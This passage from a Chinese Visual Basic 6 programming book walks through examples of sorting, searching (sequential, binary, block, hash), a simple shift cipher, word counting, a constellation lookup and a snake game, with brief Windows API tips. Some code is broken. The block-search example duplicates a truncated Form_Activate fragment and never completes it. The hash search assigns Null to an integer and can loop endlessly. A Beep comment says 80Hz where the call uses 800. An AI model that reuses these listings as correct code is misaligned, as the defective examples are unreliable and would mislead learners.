（1）自定义过程merge，实现一次归并排序，代码如下：



Private Sub merge(r, s, ByVal x1 As Integer, ByVal x2 As Integer, ByVal x3 As Integer)
    Dim i As Integer, j As Integer, k As Integer
    i = x1                                        '第一部分的开始位置
    j = x2 + 1                                    '第二部分的开始位置
    k = x1
Do While i <= x2 And j <= x3
    '当i和j都在两个要合并的部分中
        If r(i) <= r(j) Then                            '筛选两部分中较小的元素放到数组s中
            s(k) = r(i)
            i = i + 1
            k = k + 1
        Else
            s(k) = r(j)
            j = j + 1
            k = k + 1
        End If
    Loop
    Do While i <= x2
        s(k) = r(i)                                    '将x1～x2范围内的未比较的数顺次加到数组r中
        i = i + 1
        k = k + 1
    Loop
    Do While j <= x3
        s(k) = r(j)                                     '将x2+1～x3范围内的未比较的数顺次加到数组r中
        j = j + 1
        k = k + 1
    Loop
End Sub




（2）自定义过程merge_sort，实现归并排序，代码如下：



Private Sub merge_sort(r, s, ByVal m As Integer, ByVal n As Integer)
    Dim p As Integer
    Dim t(19) As Integer
    If m = n Then
        s(m) = r(m)
    Else
        p = (m + n) \ 2
        merge_sort r, t, m, p    '递归调用merge_sort函数将r[m]～r[p]归并成有序的t[m]～t[p]
        merge_sort r, t, p + 1, n
        merge t, s, m, p, n
    End If
End Sub




（3）窗体Active事件中代码如下：



Private Sub Form_Activate()
    Me.Cls
    Dim a(10) As Integer
    Dim i As Integer
    MsgBox "请输入10个数"
    Print "排序前:";
    For i = 1 To 10
        a(i) = Val(InputBox("第" & i & "个数"))
        Print a(i);
    Next i
    Print
    Print
    merge_sort a, a, 1, 10
    Print "排序后:";
    For i = 1 To 10
        Print a(i);
    Next i
End Sub




秘笈心法

心法领悟094：防止API函数使用时产生错误。

API的功能虽然强大，但在编写程序中一但使用API函数时产生错误，则VB工程将产生错误，并导致系统自动退出VB集成环境，如果此前的工程没有保存，那么该工程将不复存在。因为使用API函数产生的错误一般导致保护故障（GPF）。该错误会使Windows关闭当前应用或者退出Windows、重新引导系统等。在调用API中的DLL（动态链接库）函数时，调用的类型不一致等错误是GPF产生错误的主要原因。用别名来进行强类型检查是避免GPF的有效方法。除此之外，使用API函数时运行之前先存盘，检查调用API函数的参数与声明的类型是否一致，以及检查参数是否有效都能减少引发GPF或者系统崩溃。


 4.4　查找算法



 实例095　顺序查找

光盘位置：光盘\MR\04\095

高级

趣味指数：[image: ]




实例说明

顺序查找是在一个已知队列中找出给定关键字相同的数的具体位置。原理是让关键字与队列中的数从第一个开始逐个比较，直到找出与给定关键字相同的数为止。

采用顺序查找法在关键字序列71、23、56、85、17、29、93、64、38、49中查找关键字为38的元素，程序的运行效果如图4.27所示。

[image: ]
图4.27　顺序查找算法运行结果



关键技术

本实例顺序查找的算法思想是从数组中的第一个元素71开始，将给定的值38与数组中的元素逐个比较，直到两者相等，查到所要找的元素并输出查找次数及该元素在数组中的位置。否则输出“对不起，该数组中没有这个数！”表示数组中没有要找的元素，程序的流程图如图4.28所示。

[image: ]
图4.28　顺序查找流程图



设计过程

（1）在工程中新建一个窗体，窗体的名称使用其默认名称Form1，窗体的Caption属性设置为“顺序查找”。

（2）在窗体上添加3个Label控件，名称均使用其默认名称，并分别设置其Caption属性。

（3）在窗体上添加3个TextBox控件，名称均使用其默认名称，BoderStyle属性均设置为0-None，控件Text1和Text3的MultiLine属性设置为True。

（4）在窗体上添加一个CommandButton控件，名称使用其默认名称Command1，Caption属性设置为“查找”。

（5）程序的运行代码如下：



Private Sub Command1_Click()
    If SequentialSearch > 0 Then
        '文本框的显示内容
        Text3.Text = "您要查找的数为数组中的第" & SequentialSearch & "个数！"
    Else
        '文本框的显示内容
        Text3.Text = "对不起，该数组中没有这个数！"
    End If
End Sub
Private Function SequentialSearch() As Integer
    Dim r() As String                      '定义数组为字符串变量
    Dim i As Integer                       '定义整型变量
    Dim key As Integer                    '定义整型变量
    r() = Split(Text1.Text, ",")            '给数组变量赋值
    i = UBound(r)                         '数组下标上界
    key = Val(Text2.Text)                 '待查元素
    Do While Val(r(i)) <> key             '循环语句
        i = i - 1                        '数组下标
        If i < 0 Then                    '判断语句
            Exit Do                      '跳出循环
        End If
    Loop
    SequentialSearch = i + 1              '待查元素的位置
End Function




秘笈心法

心法领悟095：判断系统是否安装声卡。

利用API函数waveOutGetNumDevs判断系统是否安装了声卡，程序代码如下：



Private Declare Function waveOutGetNumDevs Lib "winmm.dll" () As Long
Private Sub Command1_Click()
    Dim i As Integer
    i = waveOutGetNumDevs()
    If i > 0 Then
        Label1.Caption = "系统安装声卡"
    Else
        Label1.Caption = "系统无声音卡"
    End If
End Sub






 实例096　二分法查找

光盘位置：光盘\MR\04\096

高级

趣味指数：[image: ]




实例说明

当查找表为有序线性表时，可以用二分查找算法来实现。二分查找是分治策略的典型例子，二分搜索算法充分利用了元素之间的次序关系，可在最坏的情况下用O（logn）的时间完成搜索。

首先在“请输入数组”文本框中输入任意一组一维升序数组，数组元素之间用“,”（英文标点）隔开；然后在“请输入要查找的数字”文本框中输入待查元素；单击“查找”按钮，在“二分法查找结果如下”文本框中显示出查找结果，算法的运行效果如图4.29所示。

[image: ]
图4.29　二分查找算法运行结果



关键技术

二分查找的基本思想是：

（1）首先确定该查找范围的中点位置R（mid）。

（2）然后将待查元素Search的值与数组的中点元素R（mid）的值进行比较，若相等，则查找成功并返回此位置，否则需重新确定新的查找范围，继续进行二分查找，具体的方法如下：

① 若R（mid）的值>待查元素Search的值，由表的有序性可知从R（mid）到R（high）值均大于Search的值，所以数组中若存在关键字等于待查元素Search的节点，一定在R（low）与R（mid-1）之间，则确定新的查找范围为从R（low）到R（mid-1）。

② 若R（mid）的值<待查元素Search的值，由表的有序性可知从R（low）到R（mid）值均小于Search的值，所以数组中若存在关键字等于待查元素Search的节点，一定在R（mid+1）与R（high）之间，则确定新的查找范围为从R（mid+1）到R（high）。

如此重复执行查找，直到查找成功并返回位置，或当下限low>上限high即循环结束，如图4.30所示。

[image: ]
图4.30　二分查找算法流程图



因此，从初始的查找区间R（low）到R（high）开始，每经过一次与当前查找区间中点位置上的节点关键字的比较，即可确定查找是否成功，不成功则当前的查找区间就减少一半，这一过程重复，直到找到关键字为Search的节点，或者直到当前的查找范围为空（即查找失败）时为止。

设计过程

（1）在工程中新建一个窗体，窗体的名称使用其默认名称Form1，将Caption属性设置为“二分查找”。

（2）在窗体上添加3个Label控件，名称均使用其默认名称，并分别设置其Caption属性。

（3）在窗体上添加3个TextBox控件，名称均使用其默认名称，BoderStyle属性均设置为0-None，控件Text1和Text3的MultiLine属性设置为True。

（4） 在窗体上添加一个CommandButton控件，名称使用其默认名称Command1，Caption属性设置为“查找”。

（5）程序的运行代码如下：



Private Function Search() As Integer
    Dim low, high, mid As Integer                                '定义数组下标为整型变量
    Dim key As Integer                                        '定义待查元素关键字为整型变量
    Dim r() As String                                        '定义数组为字符串变量
    r() = Split(Text1.Text, ",")                                    '给数组赋值
    low = LBound(r)                                        '数组下标下界
    high = UBound(r)                                        '数组下标上界
    key = Val(Text2.Text)                                        '待查元素关键字
    Do While low <= high                                        '循环语句
        mid = (low + high) / 2                                    '数组中点下标
        If key = r(mid) Then                                    '关键字与中点元素值比较
            Search = mid                                    '赋值语句
            Exit Function                                    '跳出过程
        ElseIf key < r(mid) Then                                    '关键字与中点元素值比较
            high = mid – 1                                    '赋值语句
        Else
            low = mid + 1                                    '赋值语句
        End If
    Loop
    Search = -1                                            '赋值语句
End Function
Private Sub Command1_Click()
'将查询结果显示在Text3中
    If Search >= 0 Then
        Text3.Text = "您要查找的数为数组中的第" & Search + 1 & "个数！"
    Else
        Text3.Text = "对不起，该数组中没有这个数！"
    End If
End Sub
Private Sub Text1_KeyPress(KeyAscii As Integer)
    Dim str_txt As String                                        '定义字符串变量
    str_txt = Chr(KeyAscii)                                    '将输入字符转换成字符串
    Select Case str_txt
    Case "0" To "9", ",", "."                                    '数字、逗号、小数点可以输入
    Case Else
        KeyAscii = 0                                        '其他字符限制输入
    End Select
End Sub




本程序没有对数组元素中存在重复关键字的情况做出处理，读者可以根据自己的需要进一步进行编写。

秘笈心法

心法领悟096：二分查找小知识。

二分查找（Binary Search）又称折半查找，它是一种效率较高的查找方法。

二分查找的查找过程是先确定待查找元素所在线性表的范围，然后逐步缩小范围直到找到（或找不到）该元素为止。

这里假设数组为R（），数组下标的下界为low，数组下标的上界为high，当前的查找范围为从R（low）到R（high），数组的中间元素为R（mid），待查元素为Search。



 实例097　分块查找

光盘位置：光盘\MR\04\097

高级

趣味指数：[image: ]




实例说明

本实例实现了分块查找的功能。采用分块查找法在有序表11、13、18、28、39、56、69、89、98、122、135、146、156、256、289中查找关键字为89的元素。运行程序，在输入框中输入89后显示查询结果如图4.31所示。

[image: ]
图4.31　分块查找



关键技术

分块查找也称为索引顺序查找，要求将待查的元素均匀地分成块，块间按大小排序，块内不排序，所以要建立一个块的最大（或最小）关键字表，称为索引表。

本实例中将给出的15个数按关键字大小分成了3块，这15个数的排列是一个有序序列，也可以给出无序序列，但是也必须要满足分在第一块中的任意数都小于第二块中的所有数，第二块中的所有数都小于第三块中的所有数，当要查找关键字为key的元素时，则先用顺序查找在已建好的索引表中查出key所在的块，再在对应的块中顺序查找key，若key存在则输出其相应位置，否则输出提示信息。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“分块查找”，Start UpPosition属性设置为“2-屏幕中心”。

（3）程序的运行代码如下。

定义结构体index，用于存储块的结构，并定义该结构体数组index_table（上限为3）。



Private Type index1                                    '定义块的结构
    key As Integer
    start As Integer
    end As Integer
End Type
Dim index_table(3) As index1                            '定义结构体数组




自定义block_search函数，实现分块查找，代码如下：



Private Function block_search(ByVal key, ByVal a) As Integer            '自定义实现分块查找
    Dim i As Integer, j As Integer
    i = 1
    Do While i <= 3 And key > index_table(i).key                '确定在哪个块中
        i = i + 1
    Loop
    If i > 3 Then block_search = 0                        '大于分得的块数，则返回0
    j = index_table(i).start                                'j等于块范围的起始值
    Do While j <= index_table(i).end And a(j) <> key                '在确定的块内进行查找
        j = j + 1
    Loop
    If j > index_table(i).end Then                            '如果大于块范围的结束值，则说明没有要查找的数，j置0
        j = 0
    End If
    block_search = j
End Function




窗体Active事件中代码如下：



Private Sub Form_Activate()
    Me.Cls
    Dim i As Integer, j As Integer, k As Integer, key As Integer, a(1 To 15) As Integer
    For i = LBound(a) To UBound(a)
        a(i) = Val(InputBox("请输入数字"))                    '输入由小到大的15个数
Private Sub Form_Activate()
    Me.Cls
    Dim i As Integer, j As Integer, k As Integer, key As Integer, a(1 To 15) As Integer
    For i = LBound(a) To UBound(a)
        a(i) = Val(InputBox("请输入数字"))                    '输入由小到大的15个数




秘笈心法

心法领悟097：公用常量小知识。

公用常量可用于程序中所有过程和函数。通过在标准模块的通用声明部分使用Public关键字声明公用常量，语法如下：



Public Const <常量名> [As <常数的数据类型>] = <常量表达式>






 实例098　哈希查找

光盘位置：光盘\MR\04\098

高级

趣味指数：[image: ]




实例说明

本实例主要实现了哈希查找的功能，要求如下：已知哈希表长度为11，哈希函数为H（key）=key%11，随机产生待散列的小于50的8个元素，同时采用线性探测再散列的方法处理冲突，任意输入要查找的数据，无论找到与否均给出提示信息。例如，运行程序后输入数字16，程序的运行效果如图4.32所示。

[image: ]
图4.32　哈希查找



关键技术

哈希函数的构造方法常用的有5种，分别是：数字分析法、平方取中法、分段叠加、伪随机数法、余数法，其中余数法比较常用。因为本实例中已给出哈希函数所以不必构造，直接按照题中给的哈希函数来运算便可。

虽然通过构造好的哈希函数可以减少冲突，但冲突是不可能完全避免的，所以就相应地产生了避免哈希冲突常用的4种方法，分别是：

1．开放定址法


	线性探测再散列

	二次探测再散列



2．链地址法

3．再哈希法

4．建立公共溢出区

开放定址法中的线性探测再散列比较常用，该方法的特点是冲突发生时，顺序查看表中下一单元，直到找出一个空单元或查遍全表。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“哈希查找”，StartUpPosition属性设置为“2-屏幕中心”。

（3）程序的运行代码如下。

进行定义常数并声明全局变量。



Const Max = 11
Const N = 8
Dim hashtable() As Integer




自定义func函数，用于哈希函数的值。



Private Function func(ByVal value As Integer) As Integer
    func = value Mod Max                            '哈希函数
End Function




自定义search函数，实现哈希查找，代码如下：



Private Function search(ByVal key As Integer)                 '自定义函数实现哈希查询
    Dim pos As Integer, t As Integer
    pos = func(key)                                '哈希函数确定出的位置
    t = pos                                    '存放确定出的位置
    '如果该位置上不等于要查找的关键字且不为空
    Do While hashtable(t) <> key And hashtable(t) <> -1
        t = (t + 1) Mod Max                        '利用线性探测求出下一个位置
        If pos = t Then                            '如果经多次探测又回到原来用哈希函数求出的位置则说明要查找的数不存在
            search = -1
        End If
    Loop
    If hashtable(t) = -1 Then
        search = Null                            '如果探测的位置是-1，则说明要查找的数不存在
    Else
        search = t
    End If
End Function




自定义creathash过程，实现哈希表创建，代码如下：



Private Sub creathash(ByVal key As Integer)                 '自定义函数创建哈希表
    Dim pos As Integer, t As Integer
    pos = func(key)                                '哈希函数确定元素的位置
    t = pos
    Do While hashtable(t) <> -1                        '如果该位置有元素存在则进行线性探测再散列
        t = (t + 1) Mod Max
        If pos = t Then                            '如果冲突处理后确定的位置与原位置相同则说明哈希表已满
            MsgBox "哈希表已满"
            Exit Sub
        End If
    Loop
    hashtable(t) = key                            '将元素放入确定的位置
End Sub




在窗体Load事件中定义数值的上限，代码如下：



Private Sub Form_Load()
    ReDim hashtable(Max - 1)                        '定义数组上限
End Sub




窗体Active事件中代码如下：



Private Sub Form_Activate()
    Me.Cls
    Dim flag(49) As Integer
    Dim i As Integer, j As Integer, t As Integer
    For i = 0 To Max - 1
        hashtable(i) = -1                                    '哈希表中初始位置全部为-1
    Next i
    
    For i = 0 To 49
        flag(i) = 0                                        '50以内所有数未产生时均标志为0
    Next i
    
    Randomize Timer                                    '利用系统时间做种子产生随机数
    i = 0
    Do While i <> N
        t = (50 * Rnd + 1) Mod 50                            '产生一个50以内的随机数赋给t
        If flag(t) = 0 Then                                    '查看t是否产生过
            creathash (t)                                    '调用函数创建哈希表
            Print Format(CStr(t), "@@@");
            For j = 0 To Max - 1
                Print Format(CStr(hashtable(j)), "@@@");                '输出哈希表中内容
            Next j
            Print
            flag(t) = 1                                    '将产生的这个数标志为1
            i = i + 1
        End If
    Loop
    t = Val(InputBox("请输入要查找的数字"))                        '输入要查找的元素
    If t > 0 And t < 50 Then
        i = search(t)                                    '调用search进行哈希查找
        If i <> -1 Then
            MsgBox "查找成功，该数字位于" & i                    '若查找到该元素则输出其位置
        Else
            MsgBox "对不起，没查找到"                        '未找到输出提示信息
        End If
    Else
        MsgBox "输入错误"
    End If
End Sub




秘笈心法

心法领悟098：获取磁盘序列号。

通过API中的GetVolumeInformation函数，可以获得磁盘卷有关的信息，如磁盘序列号。使用该函数获取磁盘序列号的代码如下：



Private Declare Function GetVolumeInformation Lib "kernel32.dll" Alias "GetVolumeInformationA" (ByVal lpRootPathName As String, ByVal lpVolumeNameBuffer As String, ByVal nVolumeNameSize As Integer, lpVolumeSerialNumber As Long, lpMaximumComponentLength As Long, lpFileSystemFlags As Long, ByVal lpFileSystemNameBuffer As String, ByVal nFileSystemNameSize As Long) As Long
'获取序列号的自定义函数
Function GetDirSN(DriName As String) As Long
  Dim DriSN As Long
  Dim I As String
  Dim J As String
  I = String$(255, Chr$(0))
  J = String$(255, Chr$(0))
  GetVolumeInformation DriName, I, Len(I), DriSN, 0, 0, J, Len(J)
  GetDirSN = DriSN
End Function
Private Sub Drive1_Change()
  '获取磁盘序列号
  Label2.Caption = "该磁盘序列号为：" & GetDirSN(Drive1.Drive)
End Sub





 4.5　字符处理应用



 实例099　简单的加密解密算法

光盘位置：光盘\MR\04\099

高级

趣味指数：[image: ]




实例说明

本实例使用简单的加密和解密算法实现对字符串的加密和解密。运行程序后在字符串文本框中输入要加密的字符串，单击“加密”按钮，即可在文本框内显示加密后的字符串，程序的运行效果如图4.33所示。

[image: ]
图4.33　加密解密算法运行效果



关键技术

简单的加密的思想是：将要加密的每个字母加上或减去一个序数，例如，加上序数5，这时“A”→“F”，“a”→“f”，“B”→“G”，“Y”→“D”，“Z”→“E”。这里要注意对加密后字符范围超出英文字母范围时的判断。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“加密解密算法实现”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个Label控件，Caption属性设置为“输入字符串”；添加3个TextBox控件，分别用于形式原字符串、加密后的字符串和解密后的字符串。

（4）在窗体上添加两个CommandButton控件，Caption属性分别设置为“加密”和“解密”。

（5）实现字符串加密的算法代码如下：



Private Sub Command1_Click()
    strp = ""
    nL = Len(RTrim(Text1.Text))                                        '计算字符串长度
    For i = 1 To nL
        strT = Mid$(Text1.Text, i, 1)                                      '取第i个字符
        If (strT >= "A" And strT <= "Z") Then
            iA = Asc(strT) + 5                                        '值加5
            If iA > Asc("Z") Then iA = iA – 26                            '如果超出Z则从前面计算
            strp = strp + Chr$(iA)                                    '连接加密后字符串
        ElseIf (strT >= "a" And strT <= "z") Then
            iA = Asc(strT) + 5
            If iA > Asc("z") Then iA = iA - 26
            strp = strp + Chr$(iA)                                    '连接加密后字符串
        Else
            strp = strp + strT                                        '如果不是英文字母则直接添加到字符串
        End If
    Next i
    Text2.Text = strp                                            '显示加密后字符串
End Sub




解密算法是加密算法的逆过程，代码详见光盘中源程序。

秘笈心法

心法领悟099：让计算机发出嗡鸣声。

利用Beep这个API函数可以使计算机发出某种频率的嗡鸣声。下面的代码实现的是让计算机产生2秒钟80Hz的嗡鸣声。



Private Declare Function Beep Lib "kernel32" (ByVal dwFreq As Long, ByVal dwDuration As Long) As Long
Private Sub Command1_Click()
    Dim RET As Long
    RET = Beep(800, 2000)   '以80Hz的频率响2秒钟
End Sub






 实例100　字符串处理

光盘位置：光盘\MR\04\100

高级

趣味指数：[image: ]




实例说明

本实例实现统计文本框中英文单词的个数。运行程序后，在文本框中输入英文语句，单击“统计”按钮，即可显示输入的英文单词个数，程序的运行效果如图4.34所示。

[image: ]
图4.34　统计英文单词个数



关键技术

本实例的思想是从输入的文本框中读取字符，当字符符合条件时，单词个数计数器加1，不符合条件直接读取下一个字符，直到将整篇文档的字符串读完为止，最后输出统计英文的单词个数信息。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，Caption属性设置为“统计英文单词个数”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个Label控件，Caption属性设置为“输入英文语句”；添加一个TextBox控件，Multiline属性设置为True，ScrollBars属性设置为2-Vertical

（4）在窗体上添加一个CommandButton控件，Caption属性设置为“统计”。

（5）程序的主要代码如下：



Private Sub Command1_Click()
    Nw = 0: Wt = False
    nL = Len(RTrim(Text1.Text))
    For i = 1 To nL
        strT = Mid$(Text1.Text, i, 1)      '取第i个字符
        Select Case strT
        Case " ", ",", ";", "!"
            Wt = False
        Case Else
            If Not Wt Then
                Nw = Nw + 1
                Wt = True
            End If
        End Select
    Next i
    Label2.Caption = "单词数为：" & Nw
End Sub




秘笈心法

心法领悟100：利用API打开“开始”菜单。

利用API函数中的keybd_event函数，可以模拟键盘的行为。例如，本例中利用keybd_event函数打开“开始”菜单项，运行程序，单击“打开”按钮，即可打开“开始”菜单，程序代码如下：



Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Private Const VK_CONTROL = &H11
Private Const VK_ESCAPE = &H1B
Private Const KEYEVENTF_KEYUP = &H2
Private Sub Command1_Click()
    Call keybd_event(VK_CONTROL, 0, 0, 0)
    Call keybd_event(VK_ESCAPE, 0, 0, 0)
    Call keybd_event(VK_ESCAPE, 0, KEYEVENTF_KEYUP, 0)
    Call keybd_event(VK_CONTROL, 0, KEYEVENTF_KEYUP, 0)
End Sub





 4.6　游戏算法



 实例101　星座查询

光盘位置：光盘\MR\04\101

高级

趣味指数：[image: ]




实例说明

迷你星座查询是根据出生日期查询星座及其相关信息，程序的设计主要是学习结构体的相关知识。在窗体中首先选择出生月日，单击“查询”按钮，将所属星座及属于该星座人的性格特征等信息显示出来。

运行“迷你星座查询”程序，选择生日的月份和日期，单击“查询”按钮，将星座信息显示出来，如图4.35所示。

[image: ]
图4.35　迷你星座查询运行界面



关键技术

在实现本实例时，首先将不同数据类型的变量定义为结构体变量（结构体名称为Constellation）中的成员；然后定义一个结构体（Constellation）类型的Function函数（ConstellationSearch），该函数用于返回结构体（Constellation）成员变量的值，当加载窗体时对数据进行初始化，当选择生日，单击“查询”按钮，调用星座函数（ConstellationSearch），将星座的具体信息显示出来。

首先介绍迷你星座查询用到的技术。本程序主要用到自定义数据类型（结构体）的知识。


说明：
 用户自定义类型经常用来表示数据记录，该数据记录一般由多个不同数据类型的元素组成。

自定义数据类型也称记录类型，为了方便对数据类型的描述，用户在定义数据类型时，可以使用Visual Basic中的一个或多个标准数据类型，也可以使用一个或多个用户先前声明的自定义类型来定义新的数据类型。自定义数据类型通过Type语句进行定义，语法如下：



[Private | Public] Type 数据类型名
    数据类型元素名 As 类型名
    数据类型元素名 As 类型名
    …
End Type





说明：
 Type语句只能在模块级使用。使用Type语句声明了一个记录类型后，就可以在该声明范围内的任何位置声明该类型的变量。可以使用Dim、Private、Public、ReDim或Static语句来声明记录类型中的　　　变量。

数据类型名是要定义的数据类型的名字；数据类型元素名不能是数组名；类型名可以是任何基本数据类型，也可以是用户定义的类型。


说明：
 在Type…End Type语句块中不允许使用行号和行标签。在标准模块中，记录类型按默认设置是公用的。可以使用Private关键字来改变其可见性。而在类模块中，记录类型只能是私有的，且使用Public关键字也不能改变其可见性。

设计过程

（1）新建一个VB企业版控件的工程。

（2）在工程中新建一个标准窗体，设置Picture属性，将如图4.35所示的图片加载到窗体上，Caption属性设置为“迷你星座查询 V1.0”。

（3）在窗体上添加9个Label控件（Label1～Label9），并分别设置其Caption属性。

（4）在窗体上添加两个ComboBox控件，分别命名为Cbx_Month和Cbx_Date。

（5）在窗体上添加3个TextBox控件，分别命名为Txt_Character、Txt_Excellence和Txt_Disadvantage，BorderStyle属性设置为0-None，MultiLine属性设置为True。

（6）在窗体上添加6个Label控件，Caption属性均设置为“未知”，用于显示星座的具体信息。

（7）在窗体上添加两个Image控件，名称分别命名为Ige_Query和Ige_Constellcation，设置Ige_Query的Picture属性，Constellcation用于显示星座的图片。

（8）在窗体上添加一个Image控件数组（Image1（0）～Image1（11）），分别设置Picture属性，用于显示各个星座的图片。

（9）主要程序代码。

将星座信息的各个变量定义为结构体，程序代码如下：



Type Constellation
    name As String * 5                                '星座名称
    sLuckyNum As String * 5                            '幸运数字
    sMark As String * 20                                '星座特征
    sLuckyDay As String * 3                            '幸运日期
    sLuckyColor As String * 20                            '幸运颜色
    sLuckyPlace As String * 20                            '幸运地点
    sCharacter As String * 100                            '星座个性特征
    sExcellence As String * 100                            '星座优点
    sDisadvantage As String * 100                        '星座缺点
    iIndex As Integer                                '星座序号
End Type




自定义函数，用于显示星座的具体信息，程序代码如下：



Public Function ConstellationSearch(ldate As String) As Constellation    '星座查询
    Select Case ldate
  Case 1.01 To 1.19                                    '摩羯座
        ConstellationSearch.name = "摩羯座"
        ConstellationSearch.sLuckyNum = "6"
        ConstellationSearch.sMark = "现实、安全、平稳"
        ConstellationSearch.sLuckyDay = "星期三"
        ConstellationSearch.sLuckyColor = "暗绿色"
        ConstellationSearch.sLuckyPlace = "远离嘈杂的地点"
        ConstellationSearch.iIndex = 9
        ConstellationSearch.sCharacter = "你深思谨慎，冷静而准确…"
        ConstellationSearch.sExcellence = "1、有实际的人生观；2、做事脚踏实地；…"
        ConstellationSearch.sDisadvantage = "1、太过现实；2、固执；…"
  Case 1.2 To 2.19                                    '水瓶座
        ConstellationSearch.name = "水瓶座"
        ConstellationSearch.sLuckyNum = "22"
        ConstellationSearch.sMark = "博爱、反传统"
        ConstellationSearch.sLuckyDay = "星期六"
        ConstellationSearch.sLuckyColor = "古铜色"
        ConstellationSearch.sLuckyPlace = "繁忙大都市"
        ConstellationSearch.iIndex = 10
        ConstellationSearch.sCharacter = "水瓶座的人富知性理性，善于分析与…"
        ConstellationSearch.sExcellence = "1、崇尚自由；2、充满人道精神；…"
        ConstellationSearch.sDisadvantage = "1、缺乏热情；2、想法过于理想化；… "
        …
    End Select




秘笈心法

心法领悟101：调用系统声音。

在使用程序时，用户难免会出现错误操作，这时可以通过对话框与声音来提示用户操作有错误。如果在编写程序时，将这些声音资源共同打包到程序中，会占用些许资源，然而若让程序使用操作系统中的声音，则可以节省这部分资源。例如，下面代码就是在鼠标单击窗体时用API调用系统的惊叹声。



'声明调用系统声音的函数
Private Declare Function MessageBeep Lib "user32" (ByVal wType As Long) As Long
Private Const MB_ICONEXCLAMATION = &H30&
Private Sub Form_Click()
    '调用系统声音
    MessageBeep MB_ICONEXCLAMATION
End Sub






 实例102　贪吃蛇

光盘位置：光盘\MR\04\102

高级

趣味指数：[image: ]




实例说明

贪吃蛇游戏能够锻炼用户的反应能力，开始游戏后，蛇自动按照直线方向向前走。按键盘上的方向键改变蛇的前进方向，如果蛇碰到周围墙壁或是蛇头碰到了自己的身体，则游戏结束。蛇可以按照慢、快、特快3种速度前进，速度越快，难度越高。在蛇的活动范围内，会随机地在不同位置出现食物（带颜色的小方块），蛇吃到食物身体便长，并得分。吃到水果身体长长一节，得一分；吃到汉堡身体长长3节，得5分，贪吃蛇游戏界面如图4.36所示。

[image: ]
图4.36　贪吃蛇



关键技术

本实例的实现主要是通过使用Line方法在PictureBox控件中画网格及ScaleHeight和ScaleWidth属性重新定义PictureBox控件的左边系统来实现的。

（1）Line方法

贪吃蛇游戏使用Line方法在PictureBox控件中画网格，下面介绍Line方法的基本知识。

Line方法用于在对象上画直线或是矩形，语法如下：



object.Line [Step] (x1, y1) [Step] (x2, y2), [color], [B][F]




Line方法的参数说明如表4.2所示。

表4.2　Line方法的参数说明



	部分
	说明



	object
	可选参数。对象表达式。如果object省略，具有焦点的窗体作为object



	Step
	可选参数。关键字，指定起点坐标，它们相对于由CurrentX和CurrentY属性提供的当前图形位置



	（x1, y1）
	可选参数。Single（单精度浮点数），直线或矩形的起点坐标。ScaleMode属性决定了使用的度量单位。如果省略，线起始于由CurrentX和CurrentY指示的位置



	Step
	可选参数。关键字，指定相对于线的起点的终点坐标



	（x2, y2）
	必选参数。Single（单精度浮点数），直线或矩形的终点坐标



	color
	可选参数。Long（长整型数），画线时用的RGB颜色。如果它被省略，则使用ForeColor属性值。可用RGB函数或QBColor函数指定颜色



	B
	可选参数。如果包括，则利用对角坐标画出矩形



	F
	可选参数。如果使用了B选项，则F选项规定矩形以矩形边框的颜色填充。不能不用B而用F。如果不用F只用B，则矩形用当前的FillColor和FillStyle填充。FillStyle的默认值为transparent




（2）ScaleHeight、ScaleWidth属性

本程序使用ScaleHeight和ScaleWidth属性重新定义PictureBox控件的左边系统，语法如下：



object.ScaleHeight [= value]
object.ScaleWidth [= value]





说明：
 当使用图形方法或调整控件位置时，返回或设置对象内部的水平（ScaleWidth）或垂直（ScaleHeight）度量单位。对于MDIForm对象，在程序设计时是不可用的，并且在运行时是只读的。

参数说明

❶object：对象表达式。

❷value：一个用来指定水平或垂直度量的数值表达式。


说明：
 能够使用这两个属性来为绘图或打印创建一个自定义的坐标比例尺。例如，语句ScaleHeight=100将改变窗体实际内部高度的度量单位。取代当前高度为n个单位（缇、像素、……），高度将变为100个自定义单位。因而，50个单位的距离就是对象的高度/宽度的一半，101个单位的距离将超出对象1个单位。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，Caption属性设置为“贪吃蛇”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个PicturesBox控件作为贪吃蛇的跑道，名称命名为PicRect，在PicRect上添加一个PictureBox控件数组，用于定义蛇头和蛇身，在PicRect上再添加两个PictureBox控件作为食物。

（4）在窗体上添加一个PictureBox控件，名称为Picture1，在Picture1上添加3个Label控件，分别用于显示积分和按钮。

（5）程序的运行代码如下：



Private Sub Timer1_Timer()
    Dim PreX, PreY
    Dim PreX1, PreY1
    Dim i As Integer
    For i = 0 To Pic.UBound
        If i = 0 Then
            PreX1 = Pic(0).Left                                        '记录蛇头位置
            PreY1 = Pic(0).Top        
            '移动蛇头
            If aspect = 2 Then
                Pic(0).Left = Pic(0).Left + 5 
            ElseIf aspect = 1 Then
                Pic(0).Left = Pic(0).Left - 5
            ElseIf aspect = 4 Then
                Pic(0).Top = Pic(0).Top + 5
            ElseIf aspect = 3 Then
                Pic(0).Top = Pic(0).Top - 5
            End If
        Else
            If Pic(0).Left = Pic(i).Left And Pic(0).Top = Pic(i).Top Then                '如果蛇头碰到蛇身体
                Timer1.Enabled = False                                '停止移动
                Timer2.Enabled = False
            End If
            PreX = Pic(i).Left                                        '记录蛇身体位置
            PreY = Pic(i).Top
            Pic(i).Left = PreX1                                        '移动蛇身体
            Pic(i).Top = PreY1
            PreX1 = PreX                                        '记录当前部分位置
            PreY1 = PreY
        End If
    Next i
    If Pic(0).Left < 0 Or Pic(0).Left + Pic(0).Width > PicRect.ScaleWidth Or Pic(0).Top < 0 Or Pic(0).Top + Pic(0).Height > PicRect.ScaleHeight Then                                                            '如果蛇头碰到墙壁
        Timer1.Enabled = False                                        '停止移动
        Timer2.Enabled = False
    End If
    PicRect.SetFocus
    If Pic(0).Left = PicAdd.Left And Pic(0).Top = PicAdd.Top Then                    '如果吃到食物
        Load Pic(Pic.Count)                                        '蛇身体增加
